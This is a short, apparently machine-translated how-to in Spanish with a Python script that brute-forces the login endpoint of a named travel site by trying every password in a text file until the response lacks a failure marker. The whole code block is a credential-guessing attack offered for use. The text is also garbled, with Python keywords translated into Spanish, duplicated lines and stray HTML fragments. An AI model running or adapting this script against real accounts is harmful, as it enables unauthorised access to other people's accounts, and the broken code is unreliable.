¡Cómo escribir código fuente en Python y probar constantemente contraseñas para lograr un inicio de sesión exitoso en la URL!
#Extraiga la interfaz de inicio de sesión, observe las características de falla de inicio de sesión y siga intentándolo de acuerdo con el txt de contraseña. Si el resultado devuelto no tiene las características de falla, es exitoso
<. p>#(Si no está seguro, puede registrar Todos los resultados de los intentos están sujetos al juicio humano)# Tome la interfaz de inicio de sesión de elong como ejemplo: /passport/ajax/ elongLogin
# Características de falla: el contenido devuelto por la interfaz contiene "éxito": f elongLogin
# Características de falla: el contenido devuelto por la interfaz contiene "éxito": falso
' ''
solicitudes de importación
# Presione La columna lee la interfaz de inicio de sesión, la información del encabezado, los parámetros de solicitud y la contraseña, todos los cuales están definidos
loginUrl = ' /passport/ajax/elongLogin'
header = {"Content-Type ":"application/x-www-form-urlencoded"}
postData = {"userName": " name", "passwd": ""}
con open(' contraseña.txt', 'r') como archivo:
pwdList = file.readlines()
# Bucle para actualizar la contraseña y enviar una solicitud para determinar si la devolución contiene una función de falla
para pwd en pwdList:
postData["passwd"]=pwd
respuesta=solicitudes.request(método='POST', url=loginUrl, datos=postData , encabezados=encabezado)
resData = respuesta.text
print resData
# find() devuelve -1 indicando que no se encontraron características de falla
if resData.find('"success": false') == -1: p>
print 'La contraseña correcta es: {}'.format(pwd)
break